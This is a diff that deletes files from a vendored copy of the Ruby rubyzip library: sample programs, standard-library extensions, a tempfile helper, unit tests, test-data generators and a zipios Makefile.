def extract_files
|
||||
selected_items = []
|
||||
unselected_items = []
|
||||
lv_item = entry_list_view.first_child
|
||||
while (lv_item)
|
||||
if entry_list_view.is_selected(lv_item)
|
||||
selected_items << lv_item.text(0)
|
||||
else
|
||||
unselected_items << lv_item.text(0)
|
||||
end
|
||||
lv_item = lv_item.next_sibling
|
||||
end
|
||||
puts "selected_items.size = #{selected_items.size}"
|
||||
puts "unselected_items.size = #{unselected_items.size}"
|
||||
items = selected_items.size > 0 ? selected_items : unselected_items
|
||||
puts "items.size = #{items.size}"
|
||||
|
||||
d = Qt::FileDialog.get_existing_directory(nil, self)
|
||||
if (!d)
|
||||
puts "No directory chosen"
|
||||
else
|
||||
zipfile { |zf| items.each { |e| zf.extract(e, File.join(d, e)) } }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
slots 'add_files()', 'extract_files()'
|
||||
end
|
||||
|
||||
if !ARGV[0]
|
||||
puts "usage: #{$0} zipname"
|
||||
exit
|
||||
end
|
||||
|
||||
zd = ZipDialog.new
|
||||
zd.load(ARGV[0])
|
||||
|
||||
a.mainWidget = zd
|
||||
zd.show()
|
||||
a.exec()
|
|
@ -1,13 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
require 'zip/zip'
|
||||
|
||||
include Zip
|
||||
|
||||
ZipOutputStream.open('simple.zip') {
|
||||
|zos|
|
||||
ze = zos.put_next_entry 'entry.txt'
|
||||
zos.puts "Hello world"
|
||||
}
|
|
@ -1,74 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$VERBOSE = true
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
require 'zip/zip'
|
||||
require 'find'
|
||||
|
||||
module Zip
|
||||
module ZipFind
|
||||
def self.find(path, zipFilePattern = /\.zip$/i)
|
||||
Find.find(path) {
|
||||
|fileName|
|
||||
yield(fileName)
|
||||
if zipFilePattern.match(fileName) && File.file?(fileName)
|
||||
begin
|
||||
Zip::ZipFile.foreach(fileName) {
|
||||
|zipEntry|
|
||||
yield(fileName + File::SEPARATOR + zipEntry.to_s)
|
||||
}
|
||||
rescue Errno::EACCES => ex
|
||||
puts ex
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def self.find_file(path, fileNamePattern, zipFilePattern = /\.zip$/i)
|
||||
self.find(path, zipFilePattern) {
|
||||
|fileName|
|
||||
yield(fileName) if fileNamePattern.match(fileName)
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
if __FILE__ == $0
|
||||
module ZipFindConsoleRunner
|
||||
|
||||
PATH_ARG_INDEX = 0;
|
||||
FILENAME_PATTERN_ARG_INDEX = 1;
|
||||
ZIPFILE_PATTERN_ARG_INDEX = 2;
|
||||
|
||||
def self.run(args)
|
||||
check_args(args)
|
||||
Zip::ZipFind.find_file(args[PATH_ARG_INDEX],
|
||||
args[FILENAME_PATTERN_ARG_INDEX],
|
||||
args[ZIPFILE_PATTERN_ARG_INDEX]) {
|
||||
|fileName|
|
||||
report_entry_found fileName
|
||||
}
|
||||
end
|
||||
|
||||
def self.check_args(args)
|
||||
if (args.size != 3)
|
||||
usage
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
def self.usage
|
||||
puts "Usage: #{$0} PATH ZIPFILENAME_PATTERN FILNAME_PATTERN"
|
||||
end
|
||||
|
||||
def self.report_entry_found(fileName)
|
||||
puts fileName
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
ZipFindConsoleRunner.run(ARGV)
|
||||
end
|
|
@ -1,111 +0,0 @@
|
|||
unless Enumerable.method_defined?(:inject)
|
||||
module Enumerable #:nodoc:all
|
||||
def inject(n = 0)
|
||||
each { |value| n = yield(n, value) }
|
||||
n
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
module Enumerable #:nodoc:all
|
||||
# returns a new array of all the return values not equal to nil
|
||||
# This implementation could be faster
|
||||
def select_map(&aProc)
|
||||
map(&aProc).reject { |e| e.nil? }
|
||||
end
|
||||
end
|
||||
|
||||
unless Object.method_defined?(:object_id)
|
||||
class Object #:nodoc:all
|
||||
# Using object_id which is the new thing, so we need
|
||||
# to make that work in versions prior to 1.8.0
|
||||
alias object_id id
|
||||
end
|
||||
end
|
||||
|
||||
unless File.respond_to?(:read)
|
||||
class File # :nodoc:all
|
||||
# singleton method read does not exist in 1.6.x
|
||||
def self.read(fileName)
|
||||
open(fileName) { |f| f.read }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class String #:nodoc:all
|
||||
def starts_with(aString)
|
||||
rindex(aString, 0) == 0
|
||||
end
|
||||
|
||||
def ends_with(aString)
|
||||
index(aString, -aString.size)
|
||||
end
|
||||
|
||||
def ensure_end(aString)
|
||||
ends_with(aString) ? self : self + aString
|
||||
end
|
||||
|
||||
def lchop
|
||||
slice(1, length)
|
||||
end
|
||||
end
|
||||
|
||||
class Time #:nodoc:all
|
||||
|
||||
#MS-DOS File Date and Time format as used in Interrupt 21H Function 57H:
|
||||
#
|
||||
# Register CX, the Time:
|
||||
# Bits 0-4 2 second increments (0-29)
|
||||
# Bits 5-10 minutes (0-59)
|
||||
# bits 11-15 hours (0-24)
|
||||
#
|
||||
# Register DX, the Date:
|
||||
# Bits 0-4 day (1-31)
|
||||
# bits 5-8 month (1-12)
|
||||
# bits 9-15 year (four digit year minus 1980)
|
||||
|
||||
|
||||
def to_binary_dos_time
|
||||
(sec/2) +
|
||||
(min << 5) +
|
||||
(hour << 11)
|
||||
end
|
||||
|
||||
def to_binary_dos_date
|
||||
(day) +
|
||||
(month << 5) +
|
||||
((year - 1980) << 9)
|
||||
end
|
||||
|
||||
# Dos time is only stored with two seconds accuracy
|
||||
def dos_equals(other)
|
||||
to_i/2 == other.to_i/2
|
||||
end
|
||||
|
||||
def self.parse_binary_dos_format(binaryDosDate, binaryDosTime)
|
||||
second = 2 * ( 0b11111 & binaryDosTime)
|
||||
minute = ( 0b11111100000 & binaryDosTime) >> 5
|
||||
hour = (0b1111100000000000 & binaryDosTime) >> 11
|
||||
day = ( 0b11111 & binaryDosDate)
|
||||
month = ( 0b111100000 & binaryDosDate) >> 5
|
||||
year = ((0b1111111000000000 & binaryDosDate) >> 9) + 1980
|
||||
begin
|
||||
return Time.local(year, month, day, hour, minute, second)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Module #:nodoc:all
|
||||
def forward_message(forwarder, *messagesToForward)
|
||||
methodDefs = messagesToForward.map {
|
||||
|msg|
|
||||
"def #{msg}; #{forwarder}(:#{msg}); end"
|
||||
}
|
||||
module_eval(methodDefs.join("\n"))
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Copyright (C) 2002, 2003 Thomas Sondergaard
|
||||
# rubyzip is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
|
@ -1,195 +0,0 @@
|
|||
#
|
||||
# tempfile - manipulates temporary files
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
|
||||
require 'delegate'
|
||||
require 'tmpdir'
|
||||
|
||||
module BugFix #:nodoc:all
|
||||
|
||||
# A class for managing temporary files. This library is written to be
|
||||
# thread safe.
|
||||
class Tempfile < DelegateClass(File)
|
||||
MAX_TRY = 10
|
||||
@@cleanlist = []
|
||||
|
||||
# Creates a temporary file of mode 0600 in the temporary directory
|
||||
# whose name is basename.pid.n and opens with mode "w+". A Tempfile
|
||||
# object works just like a File object.
|
||||
#
|
||||
# If tmpdir is omitted, the temporary directory is determined by
|
||||
# Dir::tmpdir provided by 'tmpdir.rb'.
|
||||
# When $SAFE > 0 and the given tmpdir is tainted, it uses
|
||||
# /tmp. (Note that ENV values are tainted by default)
|
||||
def initialize(basename, tmpdir=Dir::tmpdir)
|
||||
if $SAFE > 0 and tmpdir.tainted?
|
||||
tmpdir = '/tmp'
|
||||
end
|
||||
|
||||
lock = nil
|
||||
n = failure = 0
|
||||
|
||||
begin
|
||||
Thread.critical = true
|
||||
|
||||
begin
|
||||
tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n)
|
||||
lock = tmpname + '.lock'
|
||||
n += 1
|
||||
end while @@cleanlist.include?(tmpname) or
|
||||
File.exist?(lock) or File.exist?(tmpname)
|
||||
|
||||
Dir.mkdir(lock)
|
||||
rescue
|
||||
failure += 1
|
||||
retry if failure < MAX_TRY
|
||||
raise "cannot generate tempfile `%s'" % tmpname
|
||||
ensure
|
||||
Thread.critical = false
|
||||
end
|
||||
|
||||
@data = [tmpname]
|
||||
@clean_proc = Tempfile.callback(@data)
|
||||
ObjectSpace.define_finalizer(self, @clean_proc)
|
||||
|
||||
@tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600)
|
||||
@tmpname = tmpname
|
||||
@@cleanlist << @tmpname
|
||||
@data[1] = @tmpfile
|
||||
@data[2] = @@cleanlist
|
||||
|
||||
super(@tmpfile)
|
||||
|
||||
# Now we have all the File/IO methods defined, you must not
|
||||
# carelessly put bare puts(), etc. after this.
|
||||
|
||||
Dir.rmdir(lock)
|
||||
end
|
||||
|
||||
# Opens or reopens the file with mode "r+".
|
||||
def open
|
||||
@tmpfile.close if @tmpfile
|
||||
@tmpfile = File.open(@tmpname, 'r+')
|
||||
@data[1] = @tmpfile
|
||||
__setobj__(@tmpfile)
|
||||
end
|
||||
|
||||
def _close # :nodoc:
|
||||
@tmpfile.close if @tmpfile
|
||||
@data[1] = @tmpfile = nil
|
||||
end
|
||||
protected :_close
|
||||
|
||||
# Closes the file. If the optional flag is true, unlinks the file
|
||||
# after closing.
|
||||
#
|
||||
# If you don't explicitly unlink the temporary file, the removal
|
||||
# will be delayed until the object is finalized.
|
||||
def close(unlink_now=false)
|
||||
if unlink_now
|
||||
close!
|
||||
else
|
||||
_close
|
||||
end
|
||||
end
|
||||
|
||||
# Closes and unlinks the file.
|
||||
def close!
|
||||
_close
|
||||
@clean_proc.call
|
||||
ObjectSpace.undefine_finalizer(self)
|
||||
end
|
||||
|
||||
# Unlinks the file. On UNIX-like systems, it is often a good idea
|
||||
# to unlink a temporary file immediately after creating and opening
|
||||
# it, because it leaves other programs zero chance to access the
|
||||
# file.
|
||||
def unlink
|
||||
# keep this order for thread safeness
|
||||
File.unlink(@tmpname) if File.exist?(@tmpname)
|
||||
@@cleanlist.delete(@tmpname) if @@cleanlist
|
||||
end
|
||||
alias delete unlink
|
||||
|
||||
if RUBY_VERSION > '1.8.0'
|
||||
def __setobj__(obj)
|
||||
@_dc_obj = obj
|
||||
end
|
||||
else
|
||||
def __setobj__(obj)
|
||||
@obj = obj
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the full path name of the temporary file.
|
||||
def path
|
||||
@tmpname
|
||||
end
|
||||
|
||||
# Returns the size of the temporary file. As a side effect, the IO
|
||||
# buffer is flushed before determining the size.
|
||||
def size
|
||||
if @tmpfile
|
||||
@tmpfile.flush
|
||||
@tmpfile.stat.size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
alias length size
|
||||
|
||||
class << self
|
||||
def callback(data) # :nodoc:
|
||||
pid = $$
|
||||
lambda{
|
||||
if pid == $$
|
||||
path, tmpfile, cleanlist = *data
|
||||
|
||||
print "removing ", path, "..." if $DEBUG
|
||||
|
||||
tmpfile.close if tmpfile
|
||||
|
||||
# keep this order for thread safeness
|
||||
File.unlink(path) if File.exist?(path)
|
||||
cleanlist.delete(path) if cleanlist
|
||||
|
||||
print "done\n" if $DEBUG
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# If no block is given, this is a synonym for new().
|
||||
#
|
||||
# If a block is given, it will be passed tempfile as an argument,
|
||||
# and the tempfile will automatically be closed when the block
|
||||
# terminates. In this case, open() returns nil.
|
||||
def open(*args)
|
||||
tempfile = new(*args)
|
||||
|
||||
if block_given?
|
||||
begin
|
||||
yield(tempfile)
|
||||
ensure
|
||||
tempfile.close
|
||||
end
|
||||
|
||||
nil
|
||||
else
|
||||
tempfile
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end # module BugFix
|
||||
if __FILE__ == $0
|
||||
# $DEBUG = true
|
||||
f = Tempfile.new("foo")
|
||||
f.print("foo\n")
|
||||
f.close
|
||||
f.open
|
||||
p f.gets # => "foo\n"
|
||||
f.close!
|
||||
end
|
|
@ -1,9 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$VERBOSE = true
|
||||
|
||||
require 'stdrubyexttest'
|
||||
require 'ioextrastest'
|
||||
require 'ziptest'
|
||||
require 'zipfilesystemtest'
|
||||
require 'ziprequiretest'
|
|
@ -1,46 +0,0 @@
|
|||
|
||||
AUTOMAKE_OPTIONS = gnu
|
||||
|
||||
EXTRA_DIST = test.zip
|
||||
|
||||
CXXFLAGS= -g
|
||||
|
||||
noinst_LIBRARIES = libzipios.a
|
||||
|
||||
bin_PROGRAMS = test_zip test_izipfilt test_izipstream
|
||||
# test_flist
|
||||
|
||||
libzipios_a_SOURCES = backbuffer.h fcol.cpp fcol.h \
|
||||
fcol_common.h fcolexceptions.cpp fcolexceptions.h \
|
||||
fileentry.cpp fileentry.h flist.cpp \
|
||||
flist.h flistentry.cpp flistentry.h \
|
||||
flistscanner.h ifiltstreambuf.cpp ifiltstreambuf.h \
|
||||
inflatefilt.cpp inflatefilt.h izipfilt.cpp \
|
||||
izipfilt.h izipstream.cpp izipstream.h \
|
||||
zipfile.cpp zipfile.h ziphead.cpp \
|
||||
ziphead.h flistscanner.ll
|
||||
|
||||
# test_flist_SOURCES = test_flist.cpp
|
||||
|
||||
test_izipfilt_SOURCES = test_izipfilt.cpp
|
||||
|
||||
test_izipstream_SOURCES = test_izipstream.cpp
|
||||
|
||||
test_zip_SOURCES = test_zip.cpp
|
||||
|
||||
# Notice that libzipios.a is not specified as -L. -lzipios
|
||||
# If it was, automake would not include it as a dependency.
|
||||
|
||||
# test_flist_LDADD = libzipios.a
|
||||
|
||||
test_izipfilt_LDADD = libzipios.a -lz
|
||||
|
||||
test_zip_LDADD = libzipios.a -lz
|
||||
|
||||
test_izipstream_LDADD = libzipios.a -lz
|
||||
|
||||
|
||||
|
||||
flistscanner.cc : flistscanner.ll
|
||||
$(LEX) -+ -PFListScanner -o$@ $^
|
||||
|
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
@ -1 +0,0 @@
|
|||
0.040244959211864
|
|
@ -1 +0,0 @@
|
|||
0.917381580665493
|
|
@ -1 +0,0 @@
|
|||
0.670572209005379
|
Binary file not shown.
Binary file not shown.
|
@ -1 +0,0 @@
|
|||
ABCDEF
|
Binary file not shown.
Binary file not shown.
|
@ -1,7 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
class NotZippedRuby
|
||||
def returnTrue
|
||||
true
|
||||
end
|
||||
end
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,160 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$VERBOSE = true
|
||||
|
||||
class TestFiles
|
||||
RANDOM_ASCII_FILE1 = "data/generated/randomAscii1.txt"
|
||||
RANDOM_ASCII_FILE2 = "data/generated/randomAscii2.txt"
|
||||
RANDOM_ASCII_FILE3 = "data/generated/randomAscii3.txt"
|
||||
RANDOM_BINARY_FILE1 = "data/generated/randomBinary1.bin"
|
||||
RANDOM_BINARY_FILE2 = "data/generated/randomBinary2.bin"
|
||||
|
||||
EMPTY_TEST_DIR = "data/generated/emptytestdir"
|
||||
|
||||
ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ]
|
||||
BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ]
|
||||
TEST_DIRECTORIES = [ EMPTY_TEST_DIR ]
|
||||
TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten!
|
||||
|
||||
def TestFiles.create_test_files(recreate)
|
||||
if (recreate ||
|
||||
! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) }))
|
||||
|
||||
Dir.mkdir "data/generated" rescue Errno::EEXIST
|
||||
|
||||
ASCII_TEST_FILES.each_with_index {
|
||||
|filename, index|
|
||||
create_random_ascii(filename, 1E4 * (index+1))
|
||||
}
|
||||
|
||||
BINARY_TEST_FILES.each_with_index {
|
||||
|filename, index|
|
||||
create_random_binary(filename, 1E4 * (index+1))
|
||||
}
|
||||
|
||||
ensure_dir(EMPTY_TEST_DIR)
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
def TestFiles.create_random_ascii(filename, size)
|
||||
File.open(filename, "wb") {
|
||||
|file|
|
||||
while (file.tell < size)
|
||||
file << rand
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def TestFiles.create_random_binary(filename, size)
|
||||
File.open(filename, "wb") {
|
||||
|file|
|
||||
while (file.tell < size)
|
||||
file << [rand].pack("V")
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def TestFiles.ensure_dir(name)
|
||||
if File.exists?(name)
|
||||
return if File.stat(name).directory?
|
||||
File.delete(name)
|
||||
end
|
||||
Dir.mkdir(name)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
# For representation and creation of
|
||||
# test data
|
||||
class TestZipFile
|
||||
attr_accessor :zip_name, :entry_names, :comment
|
||||
|
||||
def initialize(zip_name, entry_names, comment = "")
|
||||
@zip_name=zip_name
|
||||
@entry_names=entry_names
|
||||
if "".respond_to? :force_encoding
|
||||
@entry_names.each {|name| name.force_encoding("ASCII-8BIT")}
|
||||
end
|
||||
@comment = comment
|
||||
end
|
||||
|
||||
def TestZipFile.create_test_zips(recreate)
|
||||
files = Dir.entries("data/generated")
|
||||
if (recreate ||
|
||||
! (files.index(File.basename(TEST_ZIP1.zip_name)) &&
|
||||
files.index(File.basename(TEST_ZIP2.zip_name)) &&
|
||||
files.index(File.basename(TEST_ZIP3.zip_name)) &&
|
||||
files.index(File.basename(TEST_ZIP4.zip_name)) &&
|
||||
files.index("empty.txt") &&
|
||||
files.index("empty_chmod640.txt") &&
|
||||
files.index("short.txt") &&
|
||||
files.index("longAscii.txt") &&
|
||||
files.index("longBinary.bin") ))
|
||||
raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless
|
||||
system("zip #{TEST_ZIP1.zip_name} data/file2.txt")
|
||||
raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless
|
||||
system("zip #{TEST_ZIP1.zip_name} -d data/file2.txt")
|
||||
|
||||
File.open("data/generated/empty.txt", "w") {}
|
||||
File.open("data/generated/empty_chmod640.txt", "w") { |f| f.chmod(0640) }
|
||||
|
||||
File.open("data/generated/short.txt", "w") { |file| file << "ABCDEF" }
|
||||
ziptestTxt=""
|
||||
File.open("data/file2.txt") { |file| ziptestTxt=file.read }
|
||||
File.open("data/generated/longAscii.txt", "w") {
|
||||
|file|
|
||||
while (file.tell < 1E5)
|
||||
file << ziptestTxt
|
||||
end
|
||||
}
|
||||
|
||||
testBinaryPattern=""
|
||||
File.open("data/generated/empty.zip") { |file| testBinaryPattern=file.read }
|
||||
testBinaryPattern *= 4
|
||||
|
||||
File.open("data/generated/longBinary.bin", "wb") {
|
||||
|file|
|
||||
while (file.tell < 3E5)
|
||||
file << testBinaryPattern << rand << "\0"
|
||||
end
|
||||
}
|
||||
raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless
|
||||
system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}")
|
||||
|
||||
# without bash system interprets everything after echo as parameters to
|
||||
# echo including | zip -z ...
|
||||
raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless
|
||||
system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"")
|
||||
|
||||
raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless
|
||||
system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}")
|
||||
|
||||
raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless
|
||||
system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}")
|
||||
end
|
||||
rescue
|
||||
raise $!.to_s +
|
||||
"\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" +
|
||||
"to create test data. If you don't have it you can download\n" +
|
||||
"the necessary test files at http://sf.net/projects/rubyzip."
|
||||
end
|
||||
|
||||
TEST_ZIP1 = TestZipFile.new("data/generated/empty.zip", [])
|
||||
TEST_ZIP2 = TestZipFile.new("data/generated/5entry.zip", %w{ data/generated/longAscii.txt data/generated/empty.txt data/generated/empty_chmod640.txt data/generated/short.txt data/generated/longBinary.bin},
|
||||
"my zip comment")
|
||||
TEST_ZIP3 = TestZipFile.new("data/generated/test1.zip", %w{ data/file1.txt })
|
||||
TEST_ZIP4 = TestZipFile.new("data/generated/zipWithDir.zip", [ "data/file1.txt",
|
||||
TestFiles::EMPTY_TEST_DIR])
|
||||
end
|
||||
|
||||
|
||||
END {
|
||||
TestFiles::create_test_files(ARGV.index("recreate") != nil ||
|
||||
ARGV.index("recreateonly") != nil)
|
||||
TestZipFile::create_test_zips(ARGV.index("recreate") != nil ||
|
||||
ARGV.index("recreateonly") != nil)
|
||||
exit if ARGV.index("recreateonly") != nil
|
||||
}
|
|
@ -1,208 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$VERBOSE = true
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
require 'test/unit'
|
||||
require 'zip/ioextras'
|
||||
|
||||
include IOExtras
|
||||
|
||||
class FakeIOTest < Test::Unit::TestCase
|
||||
class FakeIOUsingClass
|
||||
include FakeIO
|
||||
end
|
||||
|
||||
def test_kind_of?
|
||||
obj = FakeIOUsingClass.new
|
||||
|
||||
assert(obj.kind_of?(Object))
|
||||
assert(obj.kind_of?(FakeIOUsingClass))
|
||||
assert(obj.kind_of?(IO))
|
||||
assert(!obj.kind_of?(Fixnum))
|
||||
assert(!obj.kind_of?(String))
|
||||
end
|
||||
end
|
||||
|
||||
class AbstractInputStreamTest < Test::Unit::TestCase
|
||||
# AbstractInputStream subclass that provides a read method
|
||||
|
||||
TEST_LINES = [ "Hello world#{$/}",
|
||||
"this is the second line#{$/}",
|
||||
"this is the last line"]
|
||||
TEST_STRING = TEST_LINES.join
|
||||
class TestAbstractInputStream
|
||||
include AbstractInputStream
|
||||
def initialize(aString)
|
||||
super()
|
||||
@contents = aString
|
||||
@readPointer = 0
|
||||
end
|
||||
|
||||
def read(charsToRead)
|
||||
retVal=@contents[@readPointer, charsToRead]
|
||||
@readPointer+=charsToRead
|
||||
return retVal
|
||||
end
|
||||
|
||||
def produce_input
|
||||
read(100)
|
||||
end
|
||||
|
||||
def input_finished?
|
||||
@contents[@readPointer] == nil
|
||||
end
|
||||
end
|
||||
|
||||
def setup
|
||||
@io = TestAbstractInputStream.new(TEST_STRING)
|
||||
end
|
||||
|
||||
def test_gets
|
||||
assert_equal(TEST_LINES[0], @io.gets)
|
||||
assert_equal(1, @io.lineno)
|
||||
assert_equal(TEST_LINES[1], @io.gets)
|
||||
assert_equal(2, @io.lineno)
|
||||
assert_equal(TEST_LINES[2], @io.gets)
|
||||
assert_equal(3, @io.lineno)
|
||||
assert_equal(nil, @io.gets)
|
||||
assert_equal(4, @io.lineno)
|
||||
end
|
||||
|
||||
def test_getsMultiCharSeperator
|
||||
assert_equal("Hell", @io.gets("ll"))
|
||||
assert_equal("o world#{$/}this is the second l", @io.gets("d l"))
|
||||
end
|
||||
|
||||
def test_each_line
|
||||
lineNumber=0
|
||||
@io.each_line {
|
||||
|line|
|
||||
assert_equal(TEST_LINES[lineNumber], line)
|
||||
lineNumber+=1
|
||||
}
|
||||
end
|
||||
|
||||
def test_readlines
|
||||
assert_equal(TEST_LINES, @io.readlines)
|
||||
end
|
||||
|
||||
def test_readline
|
||||
test_gets
|
||||
begin
|
||||
@io.readline
|
||||
fail "EOFError expected"
|
||||
rescue EOFError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class AbstractOutputStreamTest < Test::Unit::TestCase
|
||||
class TestOutputStream
|
||||
include AbstractOutputStream
|
||||
|
||||
attr_accessor :buffer
|
||||
|
||||
def initialize
|
||||
@buffer = ""
|
||||
end
|
||||
|
||||
def << (data)
|
||||
@buffer << data
|
||||
self
|
||||
end
|
||||
end
|
||||
|
||||
def setup
|
||||
@outputStream = TestOutputStream.new
|
||||
|
||||
@origCommaSep = $,
|
||||
@origOutputSep = $\
|
||||
end
|
||||
|
||||
def teardown
|
||||
$, = @origCommaSep
|
||||
$\ = @origOutputSep
|
||||
end
|
||||
|
||||
def test_write
|
||||
count = @outputStream.write("a little string")
|
||||
assert_equal("a little string", @outputStream.buffer)
|
||||
assert_equal("a little string".length, count)
|
||||
|
||||
count = @outputStream.write(". a little more")
|
||||
assert_equal("a little string. a little more", @outputStream.buffer)
|
||||
assert_equal(". a little more".length, count)
|
||||
end
|
||||
|
||||
def test_print
|
||||
$\ = nil # record separator set to nil
|
||||
@outputStream.print("hello")
|
||||
assert_equal("hello", @outputStream.buffer)
|
||||
|
||||
@outputStream.print(" world.")
|
||||
assert_equal("hello world.", @outputStream.buffer)
|
||||
|
||||
@outputStream.print(" You ok ", "out ", "there?")
|
||||
assert_equal("hello world. You ok out there?", @outputStream.buffer)
|
||||
|
||||
$\ = "\n"
|
||||
@outputStream.print
|
||||
assert_equal("hello world. You ok out there?\n", @outputStream.buffer)
|
||||
|
||||
@outputStream.print("I sure hope so!")
|
||||
assert_equal("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer)
|
||||
|
||||
$, = "X"
|
||||
@outputStream.buffer = ""
|
||||
@outputStream.print("monkey", "duck", "zebra")
|
||||
assert_equal("monkeyXduckXzebra\n", @outputStream.buffer)
|
||||
|
||||
$\ = nil
|
||||
@outputStream.buffer = ""
|
||||
@outputStream.print(20)
|
||||
assert_equal("20", @outputStream.buffer)
|
||||
end
|
||||
|
||||
def test_printf
|
||||
@outputStream.printf("%d %04x", 123, 123)
|
||||
assert_equal("123 007b", @outputStream.buffer)
|
||||
end
|
||||
|
||||
def test_putc
|
||||
@outputStream.putc("A")
|
||||
assert_equal("A", @outputStream.buffer)
|
||||
@outputStream.putc(65)
|
||||
assert_equal("AA", @outputStream.buffer)
|
||||
end
|
||||
|
||||
def test_puts
|
||||
@outputStream.puts
|
||||
assert_equal("\n", @outputStream.buffer)
|
||||
|
||||
@outputStream.puts("hello", "world")
|
||||
assert_equal("\nhello\nworld\n", @outputStream.buffer)
|
||||
|
||||
@outputStream.buffer = ""
|
||||
@outputStream.puts("hello\n", "world\n")
|
||||
assert_equal("hello\nworld\n", @outputStream.buffer)
|
||||
|
||||
@outputStream.buffer = ""
|
||||
@outputStream.puts(["hello\n", "world\n"])
|
||||
assert_equal("hello\nworld\n", @outputStream.buffer)
|
||||
|
||||
@outputStream.buffer = ""
|
||||
@outputStream.puts(["hello\n", "world\n"], "bingo")
|
||||
assert_equal("hello\nworld\nbingo\n", @outputStream.buffer)
|
||||
|
||||
@outputStream.buffer = ""
|
||||
@outputStream.puts(16, 20, 50, "hello")
|
||||
assert_equal("16\n20\n50\nhello\n", @outputStream.buffer)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Copyright (C) 2002-2004 Thomas Sondergaard
|
||||
# rubyzip is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
|
@ -1,52 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$VERBOSE = true
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
require 'test/unit'
|
||||
require 'zip/stdrubyext'
|
||||
|
||||
class ModuleTest < Test::Unit::TestCase
|
||||
|
||||
def test_select_map
|
||||
assert_equal([2, 4, 8, 10], [1, 2, 3, 4, 5].select_map { |e| e == 3 ? nil : 2*e })
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class StringExtensionsTest < Test::Unit::TestCase
|
||||
|
||||
def test_starts_with
|
||||
assert("hello".starts_with(""))
|
||||
assert("hello".starts_with("h"))
|
||||
assert("hello".starts_with("he"))
|
||||
assert(! "hello".starts_with("hello there"))
|
||||
assert(! "hello".starts_with(" he"))
|
||||
|
||||
assert_raise(TypeError, "type mismatch: NilClass given") {
|
||||
"hello".starts_with(nil)
|
||||
}
|
||||
end
|
||||
|
||||
def test_ends_with
|
||||
assert("hello".ends_with("o"))
|
||||
assert("hello".ends_with("lo"))
|
||||
assert("hello".ends_with("hello"))
|
||||
assert(!"howdy".ends_with("o"))
|
||||
assert(!"howdy".ends_with("oy"))
|
||||
assert(!"howdy".ends_with("howdy doody"))
|
||||
assert(!"howdy".ends_with("doody howdy"))
|
||||
end
|
||||
|
||||
def test_ensure_end
|
||||
assert_equal("hello!", "hello!".ensure_end("!"))
|
||||
assert_equal("hello!", "hello!".ensure_end("o!"))
|
||||
assert_equal("hello!", "hello".ensure_end("!"))
|
||||
assert_equal("hello!", "hel".ensure_end("lo!"))
|
||||
end
|
||||
end
|
||||
|
||||
# Copyright (C) 2002, 2003 Thomas Sondergaard
|
||||
# rubyzip is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
|
@ -1,845 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$VERBOSE = true
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
require 'zip/zipfilesystem'
|
||||
require 'test/unit'
|
||||
require 'fileutils'
|
||||
|
||||
module ExtraAssertions
|
||||
|
||||
